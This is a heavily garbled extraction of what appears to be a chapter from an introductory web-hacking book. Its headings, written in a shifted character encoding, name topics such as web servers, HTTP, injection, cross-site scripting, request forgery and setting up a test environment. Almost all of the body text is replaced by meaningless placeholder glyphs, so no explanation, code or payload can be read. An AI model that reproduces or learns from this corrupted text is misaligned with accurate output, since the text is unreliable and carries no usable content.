ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ǰȱ ¢ǰȱ ǰȱ Ȭǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱȱȱȱȱȱȱȱȱ¡ȱȱ ȱȱȱ
¢ȱȱȱ¢ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ ę¡ȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ DZȱ
ȱȂȱ¢ȱę¡ȱȱ¢ȱ ȱȱĚ ȱȱȱȱ¢
ȱȱȱ ȱȱ¢ǯȱ ȱȱěȱȱȱ¢ȱȱ¢ȱȱ
ȱȱǰȱȱ£ȱȱ¢ȱȱȱȱȱȱ
ǻȱ ȱ ȱ ȱ ěǼȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǰȱ ǰȱ ǰȱ
ǯ
ȱǰȱ¢ȱȱȱȱȱȱȱȱȱȱȱDzȱȱ¢ȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ¡ȱȱȱȂȱ ȱȱǯ
:KDW<RX1HHGWR.QRZ$ERXW:HE6HUYHUV
ȱ ȱȱȱȱȱȱȱ ȱȱȱȱȱ¢ȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱǻ Ǽȱȱȱ ȱȱȱ ȱ
¢¡ȱ
ȱǻ
Ǽȱ ȱȱȱ¡ȱǯȱȱȱȱȱ¢ȱ
ȱ¢ȱȱǰȱȱȂȱȱȱȱȱȱ ȱǯ
ȱ ¢ȱ ȱ ȱ ȱ¡ǰȱ ¡ǰȱ ¡ǰȱ ęȱ ȱ ȱ ȱ ȱ ȱ
ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱDZȧȧ ȱ ¢ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ ȱǯ
¡ȱȱȱȱȱȱęȱǰȱȱȱ ȱȱȱȱȱ
ȦȦ Ȧȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ
¢ȱȱȱ ȱDZ
ŶȱȦȦ DZȱȱȱ ȱȱ ȱȱȱȱȱȱȱ¢ȱǯȱ
ȱȱȃ¢ȱȱȱȄǷ
ŶȱȦȦDZȱȱ¢ȱȱȱȱȱȱȱȱȱȱ
ȱȱ¡ȱ¢ȱȱȱȱǯȱȱ¢ȱȱȱ¢ȱȱ
ȱȱȱȱȱ¢ǯȱȱȱȱȱ¡ȱǰȱ¢ȱ
¢ȱȱ¢Ȃȱ¢ȱ¢ȱȱȱȱȱ¢ȱȱȱȱǯ
ŶȱȦȦȘDZȱȱ¢ȱȱȱȱȱǰȱ¢ȱǰȱȱȱȱ
ȱ ȱȱǷ
ŶȱȦDZȱȱ¢ȱȱȱȱȱ¢ȱȱȱǰȱȱȱ
ǰȱǰȱǰȱȱȱȱȱȱǯȱȱȱȱȱ¢ǯ
ȱȱȱ¢ȱȱȱȱȱȱȱ¡
¢ȱǯ
ȱ ȱȱȱȱȱȱĴȱȱȱȱěȱȱȱȱȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱ ȱǰȱȱęȱȱȱȱ¢ȱȱȂȱ
ǯ
:KDW<RX1HHGWR.QRZ$ERXW+773
ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱ¢ȱ¡ȱǰȱȱȱȱȱȱȱ¢ȱ
¢ȱ ȱ ȱ
ǯȱ
ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ
ȱ ȱȱȱȱȱȱ ǰȱȱȱ ȱ ȱ
¢ȱȱǯȱ
ǰȱȂȱȱȱȱ ȱȱȱȱȱ
ȱȱ¢ȱȱȱȱǰȱȱȱȱȱ ȱ¢
ȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¢
ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ǯȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ
Ĵȱȱȱ ȱǯȱ
ȱ ȱȱ¢ȱȱȱȱȱ¢ȱ
ȱȱȱȱȱȱȱȱ¢ȱȱ¢ǯȱȱȱȱ
ȱ¢ȱȱȱ ȱ
ȱȱ ȱȱȱȱȱȱ¢ȱȱ
¡¢ǯ
ȱȱȱȱ
ȱǻ
ǼȱȱĴȱȱȱȱ¢ȱȱĴȱȱ ȱ
ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ¢Ȧȱ ¢ȱ ¢ȱ ǻ Ȧ Ǽȱ ǰȱ ȱ ȱ ȱ ȱ
Ȧ ȱ ȱ ȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭ
ȬȱȱȱȱĴȱȱȱDzȱȱȱȱȃȱȄ
ȱ¢ȱ ȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱ ȱ¢¢ȱȱȱ¢ȱǯȱ
ǰȱȱȱǰȱ
ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢
ȱ
ȱ ȱȱȱȱȱȱȱȱ¢ȱȱ ȱ ȱǯ
+773&\FOHV
ȱȱȱȱȱȱȱȱ¢ȱ ȱȱȱȱ¢
ȱȱȱ¢ȱȂȱ ȱȱȱȱȱ¢ȱȱ ȱǯȱ Ȃ
ȱ¢ȱȱȱȱȱ¢ȱȱȱ¢ȱ¢ǯȱ ȱ ȱȱȱ
ęȱ ȱ ȱ ǻǼȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ¢ȱȱȱǯȱȱ ȱȱ¢ȱȱȱ
ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ
ȱȱȱȱ¡ȱȱ ȱȱȱ ȱǯ
1RWHZRUWK\+773+HDGHUV
ȱ
ȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱ ȱȱ¢ȱȱ ȱȱ ȱȱȱȱȱȱȱȱȱ
ȱǯ
ȱȱȱ ȱȱȱȱȱȱȱ¢ȱȱ ȱȱȱȱȱ
Ȃȱ ȱȱȱȱȱȱ¢ȱDZ
ŶȱȬDZȱȱȱȱ¢ȱȱȱȱȱǻǼȱȱ
ȱȱȱȱȂȱȱ¢ȱǯȱȱȱȱȱȱȱȂȱ
ǻ¢ȱȱȱȱȱȱǼǰȱ¢ȱȱȱȱ¢ȱȱ
¡ȱȱ ȱȱǯ
ŶȱȬDZȱȱȂȱȱȱȱȱȱȱȱ¢ȱȱ¢ǯȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱ¢
ȱȱȱȱȱȱȱȂȱȱȱǯȱȱȱ¢
ȱ ȱȱȱȱǻȱǼȱǯ
ŶȱDZȱȱȱȱȱ ȱȱȱȱȱȱȱȱ ȱǯȱ
ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱ¢
ȱȱ¢ȱȱȱȱǰȱȱ¡ǯ
ȱȱȱ¢ȱȱ ȱȱȱȱȱȱ¢ȱȱȂȱ ȱ
ȱȱȱ ȱȱDZ
ŶȱDZȱȱȱȱȱȱǻȱȱǼȱȱȱȱȱȱ
ȱȂȱǯȱȱȱȱȱȱ ¢ȱȱȱȱȱȱȬ
ȱȱȱ ȱȱ¢ȱȱǯȱȱȱȱȱȱȱ
ȱ¢ȱȱȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱǯȱȱȱȱȱȱ¢ǰȱȱȱȱȱȱȱ¢
ȱȱȱǯ
ŶȱDZȱȱȱȱȱ ȱȱȱȱ ȱ¢ȱȱ ȱȱ¡
ȱȱ ȱǯȱȱȱȱȱȱȱȱȃȱȱȱǯȄȱ
ȱȱȱȱȱȱȱȱȱ¢ȱǯȱǰȱȱȱ
ȱ¢ȱȱȱȱȱ¢ȱȱȱ¢ǰȱȱȱ¢ȱȱ¢ȱ ȱ
ȱǯ
1RWHZRUWK\+7736WDWXV&RGHV
ȱ ȱȱȱȱȱ¢ȱ¢ȱ ǰȱ¢ȱ ȱȱȱȱȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ śŖȱ ȱ
ȱ ȱ
ȱȱęȱȱȱȱȱ¢ȱȱȱǯȱ
ȱ ȱ
¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱȱ¢ȱȱǯ
ŶȱŗŖŖDZȱȱȱȱ¢ȱȱȱȱ ȱȱȱ¢ȱ
ȱȱȱȱȱ ȱȱȱǯȱȱȱ¢ȱ
ȱȱ ȱȱȱȱȱ¢ȱ ȱȱȱ ȱ
¢ȱȱȱȱ ǯ
ŶȱŘŖŖDZȱȱȱȱȱȂȱȱ ȱ¢ȱȱ
ȱ¢ȱȱ ȱȱȱȱȱȱȱȱȱȱ¢ȱ ǯ
ȱȱȱ
ȱȱȱȱŘŖŖȱ
ǯ
ŶȱřŖŖDZȱȱȱȱȱȱȱȱ ȱȱȱ
ȱȱȱȱǯȱȱȱȱȱȱȱȱȱȱȱȂ
ȱȱȱȱȱȱ¢ȱȱȱȱ
ǯȱȱ ȱ¢ȱȱȱřŖŘȱȱȱȱȱȱ
ȱȱȱ ȱȱŘŖŖȱ
ǯ
ŶȱŚŖŖDZȱȱȱȱȱȱȱȱȱȱȱȱȱȱǯȱ
ȱȱȱȱȱȱȱȱȂȱȱȱ¢ȱȱ ȱǰ
ȱȱȱȱȱȱȱȱDZȱŚŖŗȱ£ǰȱŚŖřȱǰ
ȱŚŖŚȱȱǯ
ŶȱśŖŖDZȱȱȱȱȱȱȱȱȱȱȱȱǯȱȱ
ȱȱȱȱȱȱ¢ȱȱȱśŖŖȱȱȱȱȱśŖř
ȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZȦȦ ǯ řǯȦȦŘŜŗŜȦŘŜŗŜȬŗŖǯǯ
7KH%DVLFVRI:HE+DFNLQJ2XU$SSURDFK
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ǯ
ŗǯȱ
Řǯȱ
řǯȱ¡
Śǯȱ¡
Ȃȱȱȱȱȱȱ ȱȱȱȱĴȱȱ
ǰȱ ȱ ȱ ȱ ȱ ę¡ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ę¡ǯȱ ȱ ȱ ȱ ȱ ȱ ę¡ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱǯ
2XU7DUJHWV
ȱȱȱȱǰȱ¢ȱȱĴȱDZȱȱ ȱǰȱȱ
ǰȱȱȱ ȱǯȱȱȱȱȱȱǰȱ ȱ ȱęȱȱȱ
ȱȱȱ DZ
ŗǯȱȱDZȱȱȱȱȱȱȱ¢ȱȱȱȱȱ
ǯȱȱȱȱȱȱȱȱ ȱǰȱ
ȱȱȱȱȱȱȱȱ ȱȱ ȱȱȱ
ȱ¢ȱȂȱȱ ǯȱȱ ȱȱ¢ȱȱȱȱ
ȱȱȱȱȱȱȱȱȱ£ȱȱ
ȱ ȱȂȱȱȱȱ¢ȱǯ
ŘǯȱȱDZȱȱȱȱȱȱȱȱ ȱȱȱȱ
¢ȱȱ ȱȱȱ ȱȱȱȱȱȱȱ
ǯȱȱ ȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱȱȱ£ȱȱ ȱȱ ȱǯ
řǯȱȱDZȱȱȱȱȱȱȱ ȱȱǻȱ
Ǽȱȱȱ¡ȱȱǻȱȱȱǼȱȱȱ
ȱȱ ¢ȱȱȱǯȱȱȱ ȱȱȬȱȱǻǼ
ȱȬȱȱ¢ȱǻǼȱȱȱȱ ȱȱ
ȱ¢ȱǯȱȱȱȱȱȱȱ ȱȱ
¢ȱȱȱ¡ȱ ȱȱȱȱȱȱǯ
ȱ ǰȱ ¡ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ
ȱȱȱȱȱȱȱ¢ȱȱȱȱǯ
2XU7RROV
ȱ¢ȱȱȱȱȱǰȱȱȱ¢ȱęȱȱȱȱȱȱȱ
ǯȱ ǻȱ ȱ ȱ ȱ ǰȱ ǯǼȱ Ȃȱ £ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱ ȱǯȱȱȱȱȱȱȱ¢Ȃȱ¢
ȱ ȱ ȱ ǰȱ ȱ ȱ ¢Ȃȱ ȱ ȱ ȱ ¢ȱ ¢
ȱȱȱȱȱȱȱǯȱ Ȃȱȱȱ¢ȱȱ
ȱȱȱȱ¢ȱȱ¢ǯȱȱȱȱȱȱ ȂȱȱȱDZ
Ŷȱȱǰȱ ȱȱȱȱȱȬȱ ȱȱǰȱȱȱȬȱ
¢ȱ ȱȱȱȂȱ ¢ȱȱȱȱǛŗȱ ȱȱȱǯ
Ŷȱȱȱ¡¢ȱǻǼȱȱȱȱȱǰȱȱȱȱȱȱ¢
ȱȂȱȱȱ ȱǯ
Ŷȱ ȱȱȱȱȱȱȱȱǰȱȱȱȱ
¢ȱǰȱȱȱȱ¡ȱȱȱ ȱǯ
Ŷȱȱȱȱȱȱȱȱȱȱȱȱȱȱǰȱȱȱ
ǻǼȱȱȱ ȱǰȱȱȱȱȱȱǻǼȱ
ȱȱȱȱȱ ȱǷ
:HE$SSV7RXFK(YHU\3DUWRI,7
ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ¢ȱȱ¢ȱȱȱ¢Ȃȱǯȱ Ȃȱȱȱȱ
ȱ ȱȱȱȱȱȱȱȱȱ ȱȱ¢ȱȱ ¢ȱȱ
¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢ȱȱȱ¢ȱȱĴǰȱȱȱ ȱȂȱȱȱȱ
ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱDZ
ŶȱȱȱȱDZȱȱ¢ȱȱȱȱȱȱȱȱ
ȱȱ¢ȱȱȱȱȱȱ ȱȱȱȱȱǰ
ǰȱǰȱȱȱǻǼǯ
ŶȱȱDZȱȱ¢ǰȱȱȱȱȱȱȱȱ ȱǰȱȱ ȱ
ȱȦȱ ȱ¢ȱ¢ȱȱȱȱȱȱ ȱ
ȱȱȱȱȱȱ£ȱǯ
ŶȱȬ¢ǰȱȬȬȱDZȱȱȱǰȱȱȱȱ
¢ȱǻǼǰȱȱȱ¢ȱȱȱȱȱȱ ȱȱ
ȱȱȱȱ¢ǯ
([LVWLQJ0HWKRGRORJLHV
ȱĴȱȱȱȱǰȱǰȱǰȱȱȱȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ¢Ȃȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ
ȱȱǻȱȱȱȱȱȱȱȱǼǰȱȱ ȱȱ£ȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ ¢ȱ ȱ ȱ Ȭȱ ¢ȱ ȱ ¢ȱ ȱ ǻǼ
ȱȱȱȱ¡ȱȱǻǼǯ
7KH2SHQ6RXUFH6HFXULW\7HVWLQJ0HWKRGRORJ\
0DQXDO26670
ȱȱ ȱȱȱȱȱ ȱȱȱȱȱȱȱȱDZ
ŗǯȱȱȱȱ
Řǯȱȱ¢ȱ ȱ
řǯȱȱȱȱȱ
Śǯȱȱȱȱ ǰȱ ȱǰȱȱȱ
śǯȱ¢ȱ¢ȱȱǰȱ¢ȱǰȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǰȱ ǰȱ ȱ ȱ ȱ ¢ȱ ǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
DZȦȦ ǯǯȦȦǯǯ
3HQHWUDWLRQ7HVWLQJ([HFXWLRQ6WDQGDUG37(6
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ę¢ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ǰȱ ȱ ¢ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęǯ
ȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱǯȱȱȱȱ¢ȱěȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱDZȦȦ ǯȬǯȦǯ
0DNLQJ6HQVH2I([LVWLQJ0HWKRGRORJLHV
ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ¢ȱ ȱ ȱ
¢ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱ ěȱ ȱ ¢ȱ ǰȱ ȱ ȱ ȱ ȱ Ȃȱ ¢
ǯȱ
ȱȱ¢ȱȱȱȱȱȱ ȱ ȱ ȱ¢ȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǵȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱ ȱȱ ȱ¢ȱ¢ȱȱ
ȱ ȱ ȱ¢ȱ ȱȱ¡ȱȱȱȱȱȱǵ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ ȱȱȱȱȱ¢ȱȱȱȱȱȂ
ǯȱȂȱȱ¡ȱȱȱȱǯȱȱȱ¢ȱȱ¢ȱȱ
ȱ¢ȱȱ ȱȱ¢ǰȱǰȱȱȱȱ ȱǷ
0RVW&RPPRQ:HE9XOQHUDELOLWLHV
ȱ ȱ ȱ ȱ ȱ ¡ȱ ¢ȱ Ĵȱ Ȭȱ ǯȱ
ȱ ȱ ȱ ȱ Ȭȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱ ȱ ȱȱȱǯ
,QMHFWLRQ
ȱĚ ȱȱ ȱȱȱȱȱȱȱȱ ȱȱȱȱ
ȱ ȱ ȱ ¢ǯȱ ȱ ĴȂȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¡ȱȱȱȱȱ£ȱǯȱ ȱȱ
ȱȱȱǰȱȱȱȱ ȱȱȱȱȱȱȱǻǼ
ȱȱȱǯȱȱȱȱȱȱȱĴȱȱ ȱǰȱȱȂ
ȱȱȱȱȱȱȱȱȱȱ ȱȱ¢ȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱ ȱ¢DZ
Ŷȱȱ¢ȱȱǻǼȱ
Ŷȱ ȱ¢ȱȱȱǻǼȱ
Ŷȱȱȱȱǻ
Ǽȱ
Ŷȱȱ¢ȱǻǼȱ
¢ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱ£ǰȱȱ¢ȱǯȱȱȱȱȱȱ
Ěȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱǯȱȱȱȱ¢ȱ ȱ¡Ƿ
&URVV6LWH6FULSWLQJ;66
Ȭ ȱ ȱǻ Ǽȱȱ ȱȱȱȱȱ¢ȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱ£ǯȱ ȱ ȱĴȱȱ¡ȱ
ȱȱȂȱ ǰȱ ȱȱȱȱǰȱȱȱȱ¢ȱǰȱȱ
ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ƿȱ ȱ ȱ ȱ
ȱ ȱ ǻȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ Ǽȱ ȱ ȱ
ȱȱȱ ȱȱȱǯȱȱȱȱȱȱȱȱȱȱ
ǰȱȱȂȱ ȱȱȱȱ ȱȱȱȱǯ
ȱȱȱ ȱ¢ȱȃĚȄDZȱĚȱȱǯȱĚȱ ȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
Ěȱ ȱȱȱȱȱȂȱȱȱ ȱȱȱǰȱȱȱȂȱ
ȬȱĴȱ ȱȱ¢ȱȱȱȱĚȱ ȱĴȱȱ¢ȱȱȱȱ
ǯȱ ȱ ȱ Ěȱ ȱ ȱ ȃ ȱ ȱ ǰȱ ȱ ǯȄȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ěȱ ¢ȱ
Ĵǯȱ ȱ ȱ ¢ȱ ȱ ŗDZŗȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȂȱȱȱ ȱȱǯ
ȱȱȱȱȱȱȱ ȱǰȱȱȂȱȱȱȱ
ȱȱȱȱȱȱȱ¡ȱȱȱ ȱȱĴǯȱ
ȱ ȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱǯȱ ȱ¢ȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱ¢ȱȱȱ¢ȱȱȱȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱȱȱȱŗDZ¢ȱȱȱȱǯ
ȱȱȱȱȱȱȱ¢Dzȱ¢ȱȱȱȱȱȱ ¢ǯ
%URNHQ$XWKHQWLFDWLRQ$QG6HVVLRQ0DQDJHPHQW
ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¢ȱȱȱȱȱ ȱ ȱȱȱȱȱ¢ȱ
ȱǯȱȱȱȱȱ¢ȱȱȱȱȱ ȱǯ
ȱȱȱȱȱȱȱȱȱȱ
ȱ ¢ǰȱ ȱ Ĵȱ ȱ ȱ ǰȱ ¢ǰȱ
ǰȱ ȱ ¡ȱ ȱ ȱ Ě ȱ ȱ ȱ ȱ Ȃȱ ǯ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱǰȱ ȱǰȱȱȱ¢ȱȱȱȱ ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ǯ
ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ Ȭȱ ȱ ¢ȱ ȱ ¢ȱ ǯ
ȱȱȱȱ¢ȱȱȱȱǰȱȱȱ ȱ¢ȱ ȱȱȱȱ
¢ȱȱǰȱȱȱ ȱ¢ȱ ȱȱȱǰȱȱȱ¢ȱȱ ȱ¢
ȱȱ¢ȱ¢ȱ¢ȱǯȱ ȱȱȱ ȱȱȱ
ȱ¢ȱȱȱȱȱȱȱȱȱ ȱȱ ȱȱ
ȱȱȱ ȱȱȱȱȱǯȱȱȱ ȱȱȱ
ȱȱȱȱȱȱȱȱȱ ǯȱȱ
ȱȱȱȱȱȱȱ ȱȱ ȱȱȱȱ
¢ǯȱ ȱȱ ȱȱ ȱ¢ȱ ȱȱȱȱ ȱȱȱȱ
ȱȱȱȱȱǯ
&URVV6LWH5HTXHVW)RUJHU\
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭǰȱ ¢ȱ ǰȱ ȱ ȱ
ȱȱȱȱȱ¢ȱȱǻǼȱȱȱȱ
ȱȱ ȱȱȱǻǼȱȱ£ȱǯ
ȱ ȱ ȱ ȱ Ěȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ Ȃ
ǰȱȱ ȱ¢ȱȱȱȱȱȱȱȱȱ ȱǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱȱȱȱ ǯȱ ȱȱȱȱȱ ȱ¡¢ȱ ȱȱ
¢ȱȱȱȱȱȱȱȱȱȱȱȱǰȱ
ȱ ȱ¡ȱȱȱȱȱȱȱ ¢ǯ
6HFXULW\0LVFRQILJXUDWLRQ
ȱ ¢ȱ ¢ȱ ę¢ȱ ȱ ȱ ȱ ¢ȱ ǻȱ ȱ Ǽȱ ȱ
ȱȱǯȱȱȱȱȱ ȱȱȱȃȱǰȄȱȱ
ȱ ȱ ¢ǰȱ ȱ ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱ ¢ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
£ȱǯȱ¡ȱȱȱȱȱȱȱ ȱȱDZ
ŶȱȬȬȱȱ¢ȱ
Ŷȱ¢ȱȱ
Ŷȱȱȱ
Ŷȱȱȱ
ěȱ¢ȱȱȱȱȱęȱęȱȱ¢ȱȱ
ǰȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ȱ
¢ǯȱ ȱȱĴȱȱȱęǰȱǰȱȱǰȱȱ¢ȱ
ȱȱ ȱȱǯȱȱȱȱȱ ȱȱȱǰȱ
ȱȱȱȱ¢ȱȱǯ
6HWWLQJ8SD7HVW(QYLURQPHQW
ȱ¢ȱȱȱȱȱȱȱȱȱȱǰȱȂȱȱȱ¢
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ Ȭȱ ǰȱ Ȃ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱȱ¢ȱȱȱȱ ȱĴȱȱȱȱȱȱ¢
ȱȱȱǯ
ŗǯȱȱ¢ȱ ȱȱȱȱȱ ȱȱȱ¢ȱ
ǰȱȂȱȱȱ ȱȱȱȱȱ ¢ȱȱȱȱȱ¢
ȱȱȱǯ
Řǯȱȱ ȱȱȱȱȱȱȱȱ£ȱȱȱ¢ȱ
ǰȱȱȂȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱ
¢ȱǯ
řǯȱȱ ȱ¢ȱȃȄȱȱ ȱȱȱ ȱȱȱ¢ȱ ȱ¢ȱ ¢
ȱȱǰȱȱȂȱȱȱ¢ȱȱȱȱȱ¢ȱȱ¢
ȱȱ¢ȱȱ ȱȱȃȱȱȱȄȱȱȱȱȱȱȱ ȱ¢
ȱ¢ȱȱȱȱ¢ǯ
ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ǰ
ȱȱȱȱȱȱǰȱȱȱ ȱȱǯȱ ȱȱȱǻǼǰ
ȱ ęȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
